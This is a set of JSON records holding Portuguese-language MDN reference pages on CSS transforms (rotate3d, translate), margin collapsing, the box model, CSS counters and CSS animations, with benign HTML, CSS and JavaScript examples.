1.\n\n`z`\n\nÉ um `<number>` descrevendo a coordenada z do vetor denotando o eixo de rotação que pode ser entre 0 e 1.\n\n`a`\n\nÉ um `<angle>` (en-US) representando o ângulo de rotação. Um ângulo positivo denota uma rotação no sentido horário, e um negativo no sentido anti-horário.\n\n\n\n|  |  |\n| --- | --- |\n| Coordenadas cartesianas em ℝ2 | \n Essa transformação se aplica ao plano 3D e não pode ser representada em\n um plano.\n  |\n| Coordenadas homogêneas em ℝℙ2 |\n| Coordenadas cartesianas em ℝ3 | \n\n1\n +(1\n -cos(\n a))(\n\nx\n2\n\n-1)\n\n\nz\n·sin(\n a)+\n x\ny(1\n -cos(\n a))\n\n\n-\ny\n·sin(\n a)\n +\nx\nz\n·(1\n -cos(\n a))\n\n\n-\nz\n·sin(\n a)\n +\nx\ny\n·(1\n -cos(\n a))\n\n1+(1-cos(a))(y2-1)\n\nx\n·sin(\n a)\n +\ny\nz\n·(1\n -cos(\n a))\n\n\nysin(a) + xz(1-cos(a))\n-xsin(a)+yz(1-cos(a))\n1+(1-cos(a))(z2-1)\nt\n\n0\n0\n0\n1\n\n |\n| Coordenadas homogêneas em ℝℙ3 |  |\n\nExemplos\n--------\n\n### Rotacionando no eixo y\n\n#### HTML\n\n\n```html\n<div>Normal</div>\n<div class=\"rotated\">Rotacionado</div>\n```\n\n\n#### CSS\n\n\n```css\nbody {\n  perspective: 800px;\n}\n\ndiv {\n  width: 80px;\n  height: 80px;\n  background-color: skyblue;\n}\n\n.rotated {\n  transform: rotate3d(0, 1, 0, 60deg);\n  background-color: pink;\n}\n```\n\n\n#### Resultado\n\n### Rotacionando em um eixo customizado\n\n#### HTML\n\n\n```html\n<div>Normal</div>\n<div class=\"rotated\">Rotacionado</div>\n```\n\n\n#### CSS\n\n\n```css\nbody {\n  perspective: 800px;\n}\n\ndiv {\n  width: 80px;\n  height: 80px;\n  background-color: skyblue;\n}\n\n.rotated {\n  transform: rotate3d(1, 2, -1, 192deg);\n  background-color: pink;\n}\n```\n\n\n#### Resultado\n\nCompatibilidade com navegadores\n-------------------------------\n\nVeja o tipo de dado `<transform-function>` (en-US) para informações de compatibilidade.\n\nVer também\n----------\n\n* `transform`\n* `<transform-function>` (en-US)"}
{"title":"translate() - CSS","text":"translate()\n===========\n\nA função CSS **`translate()`** reposiciona um elemento na direção horizontal e/ou vertical. O seu resultado é um tipo de dado `<transform-function>` (en-US).\n\n![](/pt-BR/docs/Web/CSS/transform-function/translate/translate.png)\n\nEsta transformação é caracterizada por um vetor bidimensional. Suas coordenadas definem o quanto o elemento se move em cada direção.\n\nSintaxe\n-------\n\n\n```css\n/\\* Valores <length-percentage> únicos \\*/\ntransform: translate(200px);\ntransform: translate(50%);\n\n/\\* Valores <length-percentage> duplos \\*/\ntransform: translate(100px, 200px);\ntransform: translate(100px, 50%);\ntransform: translate(30%, 200px);\ntransform: translate(30%, 50%);\n```\n\n### Valores\n\nValores `<length-percentage>` únicos\n\nEste valor é um `<length>` (en-US) ou `<percentage>` (en-US) representando a abcissa (horizontal, coordenada x) do vetor de translação. A ordenada (vertical, coordenada y) do vetor de translação será definida como `0`. Por exemplo, `translate(2)` é equivalente a `translate(2, 0)`. Um valor percentual refere-se à largura da caixa de referência definida pela propriedade `transform-box` (en-US).\n\nValores `<length-percentage>` duplos\n\nEste valor descreve dois `<length>` (en-US) ou valores `<percentage>` (en-US) representando tanto a abcissa (coordenada x) quanto a ordenada (coordenada y) do vetor de translação. Uma porcentagem como primeiro valor refere-se à largura, como segunda parte da altura da caixa de referência definida pela propedade `transform-box` (en-US).\n\n\n\n| Coordenadas cartesianas em ℝ2 | Coordenadas homogêneas emℝℙ2 | Coordenadas cartesianas em ℝ3 | Coordenadas homogêneas em ℝℙ3 |\n| --- | --- | --- | --- |\n| \n Uma translação não é uma transformação linear em ℝ2 e não\n pode ser representada usando uma matriz de coordenadas cartesianas.\n  | \n\n1\n 0\ntx\n\n0\n 1\nty\n\n0\n0\n1\n\n | \n\n1\n 0\ntx\n\n0\n 1\nty\n\n0\n0\n1\n\n | \n\n1\n 0\n0\ntx\n\n0\n 1\n0\nty\n\n0\n0\n1\n0\n\n0\n0\n0\n1\n\n |\n| `[1 0 0 1 tx ty]` |\n\n### Sintaxe formal\n```\n\ntranslate(`<length-percentage>` (en-US) , `<length-percentage>` (en-US)?)\n```\n\nExemplos\n--------\n\n### Usando uma conversão de eixo único\n\n#### HTML\n\n\n```html\n<div>Estático</div>\n<div class=\"moved\">Movido</div>\n<div>Estático</div>\n```\n\n\n#### CSS\n\n\n```css\ndiv {\n  width: 60px;\n  height: 60px;\n  background-color: skyblue;\n}\n\n.moved {\n  transform: translate(\n    10px\n  ); /\\* Igual a: translateX(10px) ou translate(10px, 0) \\*/\n  background-color: pink;\n}\n```\n\n\n#### Resultado\n\n### Combinando a translação do eixo y e do eixo x\n\n#### HTML\n\n\n```html\n<div>Estático</div>\n<div class=\"moved\">Movido</div>\n<div>Estático</div>\n```\n\n\n#### CSS\n\n\n```css\ndiv {\n  width: 60px;\n  height: 60px;\n  background-color: skyblue;\n}\n\n.moved {\n  transform: translate(10px, 10px);\n  background-color: pink;\n}\n```\n\n\n#### Resultado\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Transforms Module Level 1 # funcdef-transform-translate |\n\nCompatibilidade com navegadores\n-------------------------------\n\nVerifique o tipo de dado `<transform-function>` (en-US) para informações de compatibilidade.\n\nVeja também\n-----------\n\n* `transform`\n* `<transform-function>` (en-US)"}
{"title":"Dominando margin collapsing - CSS","text":"Dominando margin collapsing\n===========================\n\nAs margens superior e inferior dos blocos às vezes são combinadas(colapsadas/reduzidas) para uma única margem cujo o tamanho é a maior das margens (se os elementos tiverem a mesma margem, uma delas não será somada), combinado a ele, um comportamento conhecido como **margin collapsing**. Note que as margens de elementos flutuantes e posicionados de forma absoluta nunca colapsam.\nMargin collapsing ocorre em três casos básicos:\n\nIrmãos adjacentes\n\nAs margens de irmãos adjacentes são colapsadas (execeto quando o último irmão precisar ser limpado devido ao uso de floats em elementos anteriores ). Por exemplo:\n\n\n```html\n<p>A margem inferior deste parágrafo é colapsada...</p>\n<p>... com margem superior deste parágrafo.</p>\n```\n\n\nPai e primeiro/último filho\n\nSe não houver border, padding, parte inline, contexto de formatação de bloco (en-US) criado ou livre para separar o `margin-top` de um bloco do `margin-top` do seu primeiro bloco filho, ou nenhum border, padding, conteúdo inline, `height`, `min-height`, ou `max-height` (en-US) para separar o `margin-bottom` de um bloco do `margin-bottom` do seu último filho, então essas margens colapsam. A margem colapsada acaba fora do pai.\n\nBlocos vázios\n\nSe não houver border, padding, conteúdo inline, `height`, ou `min-height` para separar um bloco `margin-top` de sua `margin-bottom`, então as margens superior e inferior são colapsadas.\n\nAlgumas coisas podem ser observadas:\n\n* Margin collapsing mais complexo (de mais de duas margens) ocorrem quando esses casos são combinados.\n* Essas regras se aplicam até mesmo a margens que são zero, portanto a margem e um primeiro/último filho termina fora de seu pai(de acordo com as regras acima) sendo a margem do pai zero ou não.\n* Quando margens negativas são envolvidas, o tamanho da margem colapsada é a soma da maior margem positiva e da menor margem negativa(a mais negativa).\n* Se ambos são negativos, o valor negativo maior será usado. Essa definição se aplica a elementos adjacentes e a elementos aninhados.\n\nMargens de elementos flutuantes e posicionados de forma absoluta nunca colapsam.\n\nVeja Também\n-----------\n\n* CSS Reference"}
{"title":"Box model - CSS","text":"Box model\n=========\n\nResumo\n------\n\nEm uma página WEB, cada elemento é representado como um *box* retangular. Determinar o tamanho, propriedades - como sua cor, fundo, estilo das bordas - e a posição desses *boxes* é o objetivo do mecanismo de renderização.\n\nNo CSS, cada um desses *boxes* retangulares é descrita usando o *box model* padrão. Este modelo descreve o conteúdo do espaço ocupado por um elemento. Cada box possui 4 edges: **margin edge**, **border edge**, **padding edge** e **content edge**.\n\n![CSS Box model](/pt-BR/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model/boxmodel-(3).png)\n\nA **área de conteúdo** (content area) é a área ocupada pelo conteúdo real do elemento. Ele frequentamente possui um fundo, uma cor de fonte ou uma imagem (nessa ordem, uma imagem opaca esconde a cor de fundo) e é localizada dentro do *content edge*; suas dimensões são a largura do conteúdo, ou largura do box de conteúdo, e altura do conteúdo, ou altura do box de conteúdo.\n\nSe a propriedade CSS `box-sizing` está configurada como padrão, as propriedades CSS `width`, `min-width` (en-US), `max-width`, `height`, `min-height` e `max-height` (en-US) controlam o tamanho do conteúdo.\n\nA **área de preenchimento** (padding area) estende-se para a borda em torno do enchimento. Quando a área de conteúdo tem um fundo, cor ou imagem, isso será estendido para a área de preenchimento, por esse motivo, você pode pensar o preenchimento como a extensão do conteúdo. O preenchimento está localizado dentro do *padding edge,* e suas dimensões são a *largura do padding-box* e a *altura do padding-box.*\n\nO espaço entre os edges de preenchimento e conteúdo podem ser controlados utilizando as seguintes propriedades CSS `padding-top` (en-US), `padding-right` (en-US), `padding-bottom` (en-US), `padding-left` e na forma generalizada `padding`.\n\nA **área de borda** (border area\\*\\*)\\*\\* estende a área de preenchimento para a área que contém as bordas. Esta é a área de dentro do *border edge*, e suas dimensões são a largura e a altura do *border-box.* Esta área depende do tamanho da borda que está definido pela propriedade `border-width` (en-US) ou pela propriedade `border` (en-US).\n\nA **área de margem** (margin area) estende a área de borda com um espaço vazio utilizado para separar o elemento dos elementos vizinhos. Esta é a área de dentro do *margin edge,* e suas dimensões são a largura e a altura do *margin-box*.\n\nO tamanho da área de margem é controlada utilizando as seguintes propriedades CSS `margin-top`, `margin-right` (en-US), `margin-bottom`, `margin-left` (en-US) e na forma generalizada `margin`.\n\nQuando ocorre um colapso de margens (en-US), a área de margem não está claramente definida, uma vez que as margens são compartilhadas entre os boxes.\n\nFinalmente, note que, para elementos não substituídos inline, o total de espaço ocupado (para a altura da linha) é determinado pela propriedade `line-height` (en-US), mesmo que a borda e o padding aparecerem visualmente em torno do conteúdo.\n\nVeja também\n-----------\n\n* Referência CSS\n* Propriedades CSS relacionadas: `box-sizing`, `background-clip`, `height`, `max-height` (en-US), `min-height`, `width`, `max-height` (en-US), `min-height`, `padding`, `padding-top` (en-US), `padding-right` (en-US), `padding-bottom` (en-US), `padding-left`, `border` (en-US), `border-top` (en-US), `border-right` (en-US), `border-bottom` (en-US), `border-left`, `border-width` (en-US), `border-top-width` (en-US), `border-right-width` (en-US), `border-bottom-width` (en-US), `border-left-width` (en-US), `margin`, `margin-top`, `margin-right` (en-US), `margin-bottom`, `margin-left` (en-US)"}
{"title":"Using CSS counters - CSS","text":"Using CSS counters\n==================\n\nContadores CSS são em essência, as variáveis mantidas pelo CSS cujos valores podem ser incrementado por regras do CSS para controlar quantas vezes eles são usados.Isso permite ajustar a aparência do conteúdo com base na sua colocação no documento. contadores CSS são uma implementação de Contadores automáticos e numeração em CSS 2.1.\n\nO valor de um contador é manipulado através da utilização de `counter-reset` (en-US). `counter-increment` (en-US) pode ser exibido em uma página usando o `counter()` ou `counters()` função da propriedade de `conteúdo` (en-US).\n\nUsando contadores\n-----------------\n\nPara usar um contador, tem quer definir um valor para ele (ele é 0 default). Para adicionar o valor do contador em um elemento, use a função `counter()`. O CSS abaixo adiciona \"Section [o valor do contador]:\" no início de cada elemento h3.\n\n\n```css\nbody {\n  counter-reset: section; /\\* Set the section counter to 0 \\*/\n}\nh3::before {\n  counter-increment: section; /\\* Increment the section counter\\*/\n  content: \"Section\" counter(section) \": \"; /\\* Display the counter \\*/\n}\n```\n\n\nExemplo:\n\n\n```html\n<h3>Introduction</h3>\n<h3>Body</h3>\n<h3>Conclusion</h3>\n```\n\nNesting counters\n----------------\n\nUm contador CSS pode ser especialmente útil para fazer listas descritas porque uma nova instância de um contador CSS é criado automaticamente em elementos filho . Usando a função `counters()`, uma corda pode ser inserido entre diferentes níveis de contadores aninhados. Por exemplo, esta CSS :\n\n\n```css\nol {\n  counter-reset: section; /\\* Creates a new instance of the\n section counter with each ol\n element \\*/\n  list-style-type: none;\n}\nli::before {\n  counter-increment: section; /\\* Increments only this instance\n of the section counter \\*/\n  content: counters(section, \".\") \" \"; /\\* Adds the value of all instances\n of the section counter separated\n by a \".\". \\*/\n  /\\* if you need to support < IE8 then\n make sure there is no space after\n the ',' \\*/\n}\n```\n\n\nCombinado com o seguinte HTML:\n\n\n```html\n<ol>\n  <li>item</li>          <!-- 1 -->\n  <li>item               <!-- 2 -->\n    <ol>\n      <li>item</li>      <!-- 2.1 -->\n      <li>item</li>      <!-- 2.2 -->\n      <li>item           <!-- 2.3 -->\n        <ol>\n          <li>item</li>  <!-- 2.3.1 -->\n          <li>item</li>  <!-- 2.3.2 -->\n        </ol>\n        <ol>\n          <li>item</li>  <!-- 2.3.1 -->\n          <li>item</li>  <!-- 2.3.2 -->\n          <li>item</li>  <!-- 2.3.3 -->\n        </ol>\n      </li>\n      <li>item</li>      <!-- 2.4 -->\n    </ol>\n  </li>\n  <li>item</li>          <!-- 3 -->\n  <li>item</li>          <!-- 4 -->\n</ol>\n<ol>\n  <li>item</li>          <!-- 1 -->\n  <li>item</li>          <!-- 2 -->\n</ol>\n```\n\n\nProduz este resultado:\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Lists and Counters Module Level 3 # auto-numbering |\n\nVeja mais\n---------\n\n* counter-reset (en-US)\n* counter-increment (en-US)\n\n*There is an additional example available at http://www.mezzoblue.com/archives/20.../counter\\_intu/. This blog entry was posted on November 01, 2006, but appears to be accurate.*"}
{"title":"CSS Animations tips and tricks - CSS","text":"CSS Animations tips and tricks\n==============================\n\nAnimações CSS tornam possível fazer coisas incríveis com os elementos que compoem seus documentos e aplicativos. No entanto, existem coisas que você pode querer fazer que não são óbvias, ou jeitos espertos de fazer coisas que você pode não ter pensado de imediato. Esse artigo é uma coleção de dicas e truques que descobrimos que podem tornar seu trabalho mais fácil, incluindo como rodar uma animação parada novamente.\n\nRode uma animação novamente\n---------------------------\n\nA especificação Animações CSS (en-US) não oferece um modo de rodar uma animação novamente. Não existe um método mágico `resetAnimation()` nos elementos, e você não pode nem mesmo apenas atribuir o `animation-play-state` (en-US) do elemento para `\"running\"` de novo. Ao invés disso, você tem que usar macetes para fazer com que uma animação parada reexecute.\n\nAqui está um modo de fazer o qual achamos estável e confiável o suficiente para sugerir à você.\n\n### Conteúdo HTML\n\nPrimeiro, vamos definir o HTML para uma `<div>` que gostaríamos de animar e um botão que vai executar (ou reexecutar) a animação.\n\n\n```html\n<div class=\"box\"></div>\n\n<div class=\"runButton\">Clique em mim para rodar a animação</div>\n```\n\n### Conteúdo CSS\n\nAgora vamos definir a animação em sí usando CSS. Algum CSS que não é importante (o estilo do botão \"Rodar\" em sí) não é mostrado aqui, por brevidade.\n```\n\n.runButton {\n  cursor: pointer;\n  width: 300px;\n  border: 1px solid black;\n  font-size: 16px;\n  text-align: center;\n  margin-top: 12px;\n  padding-top: 2px;\n  padding-bottom: 4px;\n  color: white;\n  background-color: darkgreen;\n  font:\n    14px \"Open Sans\",\n    \"Arial\",\n    sans-serif;\n}\n```\n\n\n\n```css\n@keyframes colorchange {\n  0% {\n    background: yellow;\n  }\n  100% {\n    background: blue;\n  }\n}\n\n.box {\n  width: 100px;\n  height: 100px;\n  border: 1px solid black;\n}\n\n.changing {\n  animation: colorchange 2s;\n}\n```\n\n\nExistem duas classes aqui. A classe \"`box`\" é a descrição básica da aparência da caixa, sem nenhuma informação de animação inclusa. Os detalhes da animação são incluídos na classe \"`changing`\", a qual diz que o `@keyframes` (en-US) chamado `\"colorchange\"` deveria ser usado no decorrer de dois segundos para animar a caixa.\n\nPerceba que por isso a caixa não começa com nenhum efeito de animação configurado, então não será animada.\n\n### Conteúdo JavaScript\n\nA seguir vamos olhar para o JavaScript que faz o trabalho. O macete dessa técnica está na função `play()` , a qual é chamada quando o usuário clica no botão de \"rodar\".\n\n\n```js\nfunction play() {\n  document.querySelector(\".box\").className = \"box\";\n  window.requestAnimationFrame(function (time) {\n    window.requestAnimationFrame(function (time) {\n      document.querySelector(\".box\").className = \"box changing\";\n    });\n  });\n}\n```\n\n\nIsso parece esquisito, não parece? É porque a única maneira de executar uma animação novamente é removendo o efeito de animação, deixar o documento recomputar os estilos para que ele saiba que você fez isso, e então adicionar o efeito de animação de volta ao elemento. Para fazer isso acontecer temos que ser criativos.\n\nAqui está o que acontece quando a função `play()` é chamada:\n\n1. The box's list of CSS classes is reset to simply `\"box\"`. This has the effect of removing any other classes currently applied to the box, including the `\"changing\"` class that handles animation. In other words, we're removing the animation effect from the box. However, changes to the class list don't take effect until the style recomputation is complete and a refresh has occurred to reflect the change.\n2. To be sure that the styles are recalculated, we use `window.requestAnimationFrame()`, specifying a callback. Our callback gets executed just before the next repaint of the document. The problem for us is that because it's before the repaint, the style recomputation hasn't actually happened yet! So...\n3. Our callback cleverly calls `requestAnimationFrame()` a second time! This time, the callback is run before the next repaint, which is after the style recomputation has occurred. This callback adds the `\"changing\"` class back onto the box, so that the repaint will start the animation once again.\n\nClaro, também precisamos adicionar um tratador de evento para o nosso botão de \"rodar\" para que ele de fato faça algo:\n\n\n```js\ndocument.querySelector(\".runButton\").addEventListener(\"click\", play, false);\n```\n\n### Resultado\n\nVeja também\n-----------\n\n* Animações CSS\n* Usando Animações CSS\n* `Window.requestAnimationFrame()`"}
{"title":"Usando animações CSS - CSS","text":"Usando animações CSS\n====================\n\n**Experimental:** **Esta é uma tecnologia experimental (en-US)**  \nVerifique a tabela de compatibilidade entre Navegadores cuidadosamente antes de usar essa funcionalidade em produção.\n\nAnimações CSS tornam possível animar transições de um estilo CSS para outro. Animações se consistem de dois componentes: um estilo descrevendo a animação e um set de keyframes que indicam o estado final e inicial do estilo CSS da animação, bem como possíveis waypoints intermediários ao longo do caminho.\n\nExistem três vantagens chave para animações CSS além das técnicas tradicionais de animação dirigidas por script:\n\n1. São de fácil utilização para animações simples; você pode criá-las sem mesmo ter que conhecer JavaScript.\n2. As animações executam bem, mesmo sobre moderada carga do sistema. Animações simples podem normalmente ser executadas precariamente em JavaScript (a não ser que sejam bem feitas). A ferramenta de renderização pode usar frame-skipping e outras técnicas para manter a performance o mais estável possível.\n3. Deixando o navegador controlar a sequência de animação permite ao navegador otimizar a performance e eficiência em, por exemplo, reduzir a frequência de update de animações correndo em abas que não estão visíveis no momento.\nConfigurando a animação\n-----------------------\n\nPara criar uma sequência de animação CSS, você estiliza o elemento que deseja animar com a propriedade `animation` ou suas sub-propriedades. Isso permite que você configure a sincronização da animação, bem como outros detalhes de como a de como a sequência de animação deveria progredir. Isso **não** configura a aparência atual da animação, que é feita usando a regra com parênteses (at-rule) `@keyframes` (en-US) como descrito em Defining the animation sequence using keyframes abaixo.\n\nAs sub-propriedades da propriedade `animation` são:\n\n`animation-delay`\n\nConfigura o delay entre o tempo em que o elemento é carregado e o inicio da sequência de animação.\n\n`animation-direction` (en-US)\n\nConfigura se a animação deve ou nao alternar a direção em cada execução durante a sequência ou voltar ao ponto inicial e se repetir.\n\n`animation-duration` (en-US)\n\nConfigura o tempo que uma animação deveria levar para completar um ciclo.\n\n`animation-iteration-count` (en-US)\n\nConfigura o numero de vezes que uma animação deveria se repetir; você pode especificar infinito para repetir a animação indefinidamente.\n\n`animation-name` (en-US)\n\nEspecifica o nome da regra com parênteses (at-rule) `@keyframes` (en-US) at-rule descrevendo os keyframes da animação.\n\n`animation-play-state` (en-US)\n\nPermite voce pausar e resumir a sequência da animação.\n\n`animation-timing-function` (en-US)\n\nConfigura a sincronização da animação; que é, como a animação transita por keyframes, por estabilizar curvas de aceleração.\n\n`animation-fill-mode` (en-US)\n\nConfigura que valores são aplicados pela animação antes e depois de se executar.\n\nDefinindo a sequência de animação usando keyframes\n--------------------------------------------------\n\nUma vez que você configurou a sincronização da animação, você precisa definir a aparência da animação. Isso é feito por estabelecer duas ou mais keyframes usando a regra com parênteses (at-rule) `@keyframes` (en-US). Cada keyframe descreve como o elemento animado deveria se renderizar a um tempo dado durante a sequência de animação.\n\nComo a sincronização da animação é definida por um estilo CSS que configura a animação, keyframes usam uma `<percentage>` (en-US) para indicar o tempo durante a sequência de animação que eles fazem parte. 0% indica o primeiro momento da sequência de animação, enquanto 100% indica o estado final da animação. Esses dois tempos devem ser especificados para que o navegador então saiba onde a animação deve começar e parar; por serem tão importantes, esses dois tempos tem expressões equivalentes especiais: from e to.\n\nVocê pode opcionalmente incluir keyframes adicionais que descrevem passos intermediários ao longo do caminho do ponto inicial ao ponto final da animação.\n\nExemplos\n--------\n\n**Nota:** Os exemplos aqui não usam nenhum prefixo nas propriedades de animação CSS. Navegadores mais antigos podem precisar de prefixos; os exemplos ao vivo que você pode clicar pra ver em seu navegadores também incluem as versões prefixadas -webkit.\n\n### Fazendo o texto deslizar através da janela do navegador\n\nEsse exemplo simples estiliza o elemento `<p>` onde o elemento então desliza para dentro vindo de fora da lateral direita da janela do navegador.\n\nPerceba que animações como essa podem fazer com que a página se torne mais larga que a janela do navegador. Para evitar esse problema coloque o elemento a ser animado dentro de um container, e atribua `overflow``:hidden` ao container.\n\n\n```css\np {\n  animation-duration: 3s;\n  animation-name: slidein;\n}\n\n@keyframes slidein {\n  from {\n    margin-left: 100%;\n    width: 300%;\n  }\n\n  to {\n    margin-left: 0%;\n    width: 100%;\n  }\n}\n```\n\n\nO estilo para o elemento `<p>` aqui especifica que a animação deveria levar 3 segundos para executar do início ao fim, usando a propriedade `animation-duration` (en-US), e que o nome da regra com parênteses (at-rule)`@keyframes` (en-US) definindo os keyframes para a sequência de animação é nomeado por \"slidein\".\n\nSe quiséssemos quaisquer estilização customizada no elemento `<p>` para aparecer em navegadores que não suportam animações CSS, incluiríamos aqui também; no entanto, nesse caso não queremos nenhuma estilização customizada a não ser o efeito da animação.\n\nOs keyframes são definidos utilizando-se as regras`@keyframes` (en-US). Neste caso, utilizamos apenas dois keyframes. O primeiro ocorre no progresso de 0% (ou seja, o primeiro keyframe da animação, através do pseudônimo from). Nesta etapa, configuramos a margem esquerda do elemento para ser 100% - quer dizer, como a margem está à esquerda e com valor 100%, o elemento irá se deslocar para o seu limite, ou seja, para a parte direita – e sua largura será de 300%, ou seja, 3 vezes a largura do seu tamanho original. Isto faz com que o elemento, em seu primeiro frame da animação, seja \"empurrado\" para fora do limite da parte direita da janela do navegador.\n\nO segundo (e último) keyframe ocorre na etapa 100% do progresso (ou seja, o último keyframe da animação, através do pseudônimo to). A margem esquerda está com valor de 0% e a largura do elemento está com valor de 100%. Isto resulta na animação do elemento `<p>`, que entra gradativamente na área de conteúdo até atingir uma margem esquerda de 0%.\n\n\n```html\n<p>\n  A Lagarta e Alice olharam-se por algum tempo em silêncio: finalmente, a\n  Lagarta tirou o narguilé da boca e dirigiu-se a ela com uma voz lânguida e\n  sonolenta.\n</p>\n```\n\n### Adicionando outro keyframe\n\nVamos adicionar outro keyframe à animação do exemplo anterior. Digamos que nós queremos que o tamanho da fonte aumente durante o movimento da direita para a esquerda por um determinado momento, e que depois ele reduzisse ao seu tamanho original. Você precisaria simplesmente adicionar este keyframe:\n\n\n```css\n75% {\n  font-size: 300%;\n  margin-left: 25%;\n  width: 150%;\n}\n```\n\n\nO código completo fica da seguinte forma:\n\n\n```css\np {\n  animation-duration: 3s;\n  animation-name: slidein;\n}\n\n@keyframes slidein {\n  from {\n    margin-left: 100%;\n    width: 300%;\n  }\n\n  to {\n    margin-left: 0%;\n    width: 100%;\n  }\n}\n```\n\n\n\n```html\n<p>\n  A Lagarta e Alice olharam-se por algum tempo em silêncio: finalmente, a\n  Lagarta tirou o narguilé da boca e dirigiu-se a ela com uma voz lânguida e\n  sonolenta.\n</p>\n```\n\n\nIsso indica ao navegador que até atingir a etapa 75% do progresso da sequência da animação o elemento deve ter 25% no valor da sua margem esquerda e sua largura deve ser de 150%.\n\n### Faça repetir-se\n\nPara fazer a animação se repetir, simplesmente use a propriedade`animation-iteration-count` (en-US) para indicar a quantidade de vezes que a animação deve se repetir. Neste caso, vamos usar `infinite` para que a animação se repita indefinidamente:\n\n\n```css\np {\n  animation-duration: 3s;\n  animation-name: slidein;\n  animation-iteration-count: infinite;\n}\n```\n\n\nAdicionando ao código existente:\n\n\n```css\n@keyframes slidein {\n  from {\n    margin-left: 100%;\n    width: 300%;\n  }\n\n  to {\n    margin-left: 0%;\n    width: 100%;\n  }\n}\n```\n\n\n\n```html\n<p>\n  A Lagarta e Alice olharam-se por algum tempo em silêncio: finalmente, a\n  Lagarta tirou o narguilé da boca e dirigiu-se a ela com uma voz lânguida e\n  sonolenta.\n</p>\n```\n\n### Fazendo a animação se mover para trás e para frente\n\nCom o exemplo anterior, fizemos a animação se repetir, mas é muito estranho tê-la pulando lá do início toda vez que a animação inicia. O que nós realmente queremos é que a animação se mova para trás e para frente por toda tela. Isso é facilmente realizado se adicionarmos o valor alternate à propriedade `animation-direction` (en-US):\n\n\n```css\np {\n  animation-duration: 3s;\n  animation-name: slidein;\n  animation-iteration-count: infinite;\n  animation-direction: alternate;\n}\n```\n\n\n\n```css\n@keyframes slidein {\n  from {\n    margin-left: 100%;\n    width: 300%;\n  }\n\n  to {\n    margin-left: 0%;\n    width: 100%;\n  }\n}\n```\n\n\n\n```html\n<p>\n  A Lagarta e Alice olharam-se por algum tempo em silêncio: finalmente, a\n  Lagarta tirou o narguilé da boca e dirigiu-se a ela com uma voz lânguida e\n  sonolenta.\n</p>\n```\n\n### Usando eventos de animação\n\nVocê pode ter controle adicional sobre animações — como também informações úteis sobre elas — através do uso de eventos de animação. Esses eventos, representados pelo objeto `AnimationEvent` (en-US) , podem ser usados para detectar quando animações iniciam, terminam, e começam uma nova iteração. Cada evento inclui o tempo no qual ele ocorreu como também o nome da animação que lançou o evento.\n\nNós vamos modificar o exemplo de deslizamento de texto para gerar alguma informação sobre cada evento de animação quando ele ocorrer, para que possamos perceber como eles funcionam.\n\n#### Adicionando o CSS\n\nNós começamos criando o CSS para a animação. Essa animação vai durar por 3 segundos, se chamar \"slidein\", repetir 3 vezes, e alternar a direção cada vez. No `@keyframes` (en-US), a largura (width) e a margem esquerda (margin-left) são manipulados para fazer o elemento deslizar na tela.\n\n\n```css\n.slidein {\n  -moz-animation-duration: 3s;\n  -webkit-animation-duration: 3s;\n  animation-duration: 3s;\n  -moz-animation-name: slidein;\n  -webkit-animation-name: slidein;\n  animation-name: slidein;\n  -moz-animation-iteration-count: 3;\n  -webkit-animation-iteration-count: 3;\n  animation-iteration-count: 3;\n  -moz-animation-direction: alternate;\n  -webkit-animation-direction: alternate;\n  animation-direction: alternate;\n}\n\n@-moz-keyframes slidein {\n  from {\n    margin-left: 100%;\n    width: 300%;\n  }\n\n  to {\n    margin-left: 0%;\n    width: 100%;\n  }\n}\n\n@-webkit-keyframes slidein {\n  from {\n    margin-left: 100%;\n    width: 300%;\n  }\n\n  to {\n    margin-left: 0%;\n    width: 100%;\n  }\n}\n\n@keyframes slidein {\n  from {\n    margin-left: 100%;\n    width: 300%;\n  }\n\n  to {\n    margin-left: 0%;\n    width: 100%;\n  }\n}\n```\n\n\n#### Adicionando animação a lista de eventos\n\nNós vamos usar o código JavaScript para escutar todos três possíveis eventos de animação. Esse código configura nossos escutadores de evento; nós o chamamos quando o documento é primeiramente carregado para configurar as coisas.\n\n\n```js\nvar e = document.getElementById(\"watchme\");\ne.addEventListener(\"animationstart\", listener, false);\ne.addEventListener(\"animationend\", listener, false);\ne.addEventListener(\"animationiteration\", listener, false);\n\ne.className = \"slidein\";\n```\n\n\nIsso é simplesmente código padrão; você pode ter detalhes sobre como ele funciona na documentação para `element.addEventListener()`. A última coisa que este código faz é atribuir a classe no elemento o qual estaremos animando para \"deslizar\" (slidein); nós fazemos isso para iniciar a animação.\n\nPor que? Porque o evento `animationstart` dispara assim que a animação começa, e no nosso caso, isso acontece antes do nosso código rodar. Então nós mesmos vamos iniciar a animação através de atribuição da classe do elemento para o estilo que é animado depois do ocorrido.\n\n#### Recebendo os eventos\n\nOs eventos são entregues à função `listener()`, a qual é mostrada abaixo.\n\n\n```js\nfunction listener(e) {\n  var l = document.createElement(\"li\");\n  switch (e.type) {\n    case \"animationstart\":\n      l.innerHTML = \"Started: elapsed time is \" + e.elapsedTime;\n      break;\n    case \"animationend\":\n      l.innerHTML = \"Ended: elapsed time is \" + e.elapsedTime;\n      break;\n    case \"animationiteration\":\n      l.innerHTML = \"New loop started at time \" + e.elapsedTime;\n      break;\n  }\n  document.getElementById(\"output\").appendChild(l);\n}\n```\n\n\nEsse código também é bem simples. Ele simplemente olha no `event.type` para determinar qual tipo de evento de animação ocorreu, então adiciona uma nota apropriada no `<ul>` (lista não ordenada) que estamos usando para logar esses eventos.\n\nA saída, quando tudo foi dito e feito, parece com algo assim:\n\n* Started: elapsed time is 0\n* New loop started at time 3.01200008392334\n* New loop started at time 6.00600004196167\n* Ended: elapsed time is 9.234000205993652\n\nPerceba que os tempos são bem próximos, mas não exatamente iguais, àqueles esperados dado o tempo estabelecido quando a animação foi configurada. Perceba também que após a ultima iteração da animação, o evento `animationiteration` não é enviado; ao invés disso, o evento `animationend` é enviado.\n\n#### O HTML\n\nApenas por questão de completude, aqui está o HTML que exibe o conteúdo da pagina, incluindo a lista na qual o script insere informação sobre os eventos recebidos:\n\n\n```html\n<h1 id=\"watchme\">Veja-me mover</h1>\n<p>\n  Este exemplo mostra como usar animações CSS para fazer o elemento\n  <code>h1</code>\n  se mover pela página\n</p>\n<p>\n  Além disso, emitimos algum texto sempre que um evento de animação dispara,\n  para que você possa vê-los em ação.\n</p>\n<ul id=\"output\"></ul>\n```\n\nVeja também\n-----------\n\n* `AnimationEvent`\n* Detectando suporte de animação CSS"}
